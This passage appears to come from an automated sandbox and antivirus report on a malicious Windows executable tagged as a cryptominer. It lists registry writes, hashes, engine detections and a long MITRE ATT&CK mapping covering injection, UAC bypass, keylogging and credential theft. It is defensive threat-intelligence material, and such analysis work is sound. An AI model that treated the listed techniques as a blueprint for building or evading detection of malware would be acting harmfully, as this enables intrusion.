"HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")8f:T400,AAABAAEAICAQRwAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAf3AAAAAAAAAAd3d3d3AHcP93dwAAAAAAAH/////w8Hf4f/cAAAAAAAB/////8P8P8P/3AAAAAAAAf/////D//4AABwAAAAAAAH/////w/////3AAAAAAAAB/////8P////d3AAAAAAAAf/////D///939wAAAAAAAH////iw///3f/cAAAAAAAB///+48P//d//3AAAAAAAAf//7j/D/9z//9wAAAAAAAH//i/+A/3eI//cAAAAAAAB//7/4gPd/+//3AAAAAAAAf/+/+IFzj/v/9wAAAAAAAH//v/iDOI/7//cAAAAAAAB//7/4iIiP+//3AAAAAAAAf/+I/4iI/7j/9wAAAAAAAH//+4////i///cAAAAAAAB///+7//+L///3AAAAAAAAf///+Lu7j///9wAAAAAAAH////////////cAAAAAAAB/////////d3d3AAAAAAAAf////////3//dwAAAAAAAH////////9/93AAAAAAAAB/////////f3cAAAAAAAAAf////////3dwAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///H////w////4P/8AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAf/wAAP/8AAH//AAD/////////////////w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791734730142,"unified_at":"2026-10-11T16:05:30.142Z","metadata":{"hashes":{"sha256":"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","sha1":"d9ada8c754486a3409ce13666737022bb9d8a273","md5":"b57cf89809beddaf2286bd4dc1e21c73","sha512":"75704cc2bbb940c03489ac68428f021b5fb89eee19059fef4a29272cd5fa9eaee8301a970c928c7161d56a14fea026e04b12f3c2199189fc44f2d36238f2f484","ssdeep":"98304:+FAuhfAcffhhRX8qjAJpMkBOPA7MSKO/n:+1BNffhhRX8qj2pMLAAN0","ssdeep_chunks":["98304:+FAuhfA","98304:FAuhfAc","98304:AuhfAcf","98304:uhfAcff","98304:hfAcffh","98304:fAcffhh","98304:AcffhhR","98304:cffhhRX","98304:ffhhRX8","98304:fhhRX8q","98304:hhRX8qj","98304:hRX8qjA","98304:RX8qjAJ","98304:X8qjAJp","98304:8qjAJpM","98304:qjAJpMk","98304:jAJpMkB","98304:AJpMkBO","98304:JpMkBOP","98304:pMkBOPA","98304:MkBOPA7","98304:kBOPA7M","98304:BOPA7MS","98304:OPA7MSK","98304:PA7MSKO","98304:A7MSKO/","98304:7MSKO/n","196608:+FAuhfA","196608:FAuhfAc","196608:AuhfAcf","196608:uhfAcff","196608:hfAcffh","196608:fAcffhh","196608:AcffhhR","196608:cffhhRX","196608:ffhhRX8","196608:fhhRX8q","196608:hhRX8qj","196608:hRX8qjA","196608:RX8qjAJ","196608:X8qjAJp","196608:8qjAJpM","196608:qjAJpMk","196608:jAJpMkB","196608:AJpMkBO","196608:JpMkBOP","196608:pMkBOPA","196608:MkBOPA7","196608:kBOPA7M","196608:BOPA7MS","196608:OPA7MSK","196608:PA7MSKO","196608:A7MSKO/","196608:7MSKO/n","98304:+1BNffh","98304:1BNffhh","98304:BNffhhR","98304:NffhhRX","98304:hRX8qj2","98304:RX8qj2p","98304:X8qj2pM","98304:8qj2pML","98304:qj2pMLA","98304:j2pMLAA","98304:2pMLAAN","98304:pMLAAN0"],"imphash":"88d253de7f613138349992ae948e4e3a"},"file_info":{"file_name":"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":5194752,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1791656053000,"last_seen":1791734422000,"last_multi_scan":1791734422000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["commodity","mineware","criminal","xmrig","windows-server-utility","evasive","malicious"]},"stats":{"av":{"malicious_count":5,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":117},"sandbox_signatures":{"informative_count":307,"suspicious_count":17,"malicious_count":7,"total":331},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_100.0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_70% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of WinGo/TrojanDropper.Agent.NV trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Backdoor/Meterpreter.ax","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_70%","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Reconnaissance","technique":"Vulnerability Scanning","attack_id":"T1595.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1595/002","identifiers":[{"type":"informative","value":"Able to use vulnerability or port scanning tools"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Reconnaissance","technique":"Firmware","attack_id":"T1592.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1592/003","identifiers":[{"type":"informative","value":"Able to gather system firmware table (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create new processes (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create/read/set mailslotinfo (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Contains ability to create a new process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Able to access mailslot-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Able to access control system service controller"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"informative","value":"References task scheduler-related strings"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled task-related activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Able to obtain instances of WMI classes using PowerShell"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"malicious","value":"Executes powershell requesting to bypass execution policy"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Contains ability to add modules to the current session (Powershell command string)"},{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"},{"type":"informative","value":"Executes PowerShell with command line"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"},{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Persistence","technique":"Local Account","attack_id":"T1136.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1136/001","identifiers":[{"type":"informative","value":"Contains ability to create a new user account (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to set/delete MS-DOS device name (API string)"},{"type":"informative","value":"Able to unregister service from Service Control Manager"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"suspicious","value":"Found registry location strings which can modify COM objects"},{"type":"informative","value":"Overview of unique CLSIDs touched in registry"},{"type":"informative","value":"Intercepted relevant COM error"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Persistence","technique":"Windows Management Instrumentation Event Subscription","attack_id":"T1546.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/003","identifiers":[{"type":"informative","value":"Contains ability to create/update instances of WMI classes (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Windows system process connects to a network"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Contains reference to shellcode"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to create a remote thread (API string)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"},{"type":"suspicious","value":"Attempts to gain higher privileges by abusing weaknesses"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Process 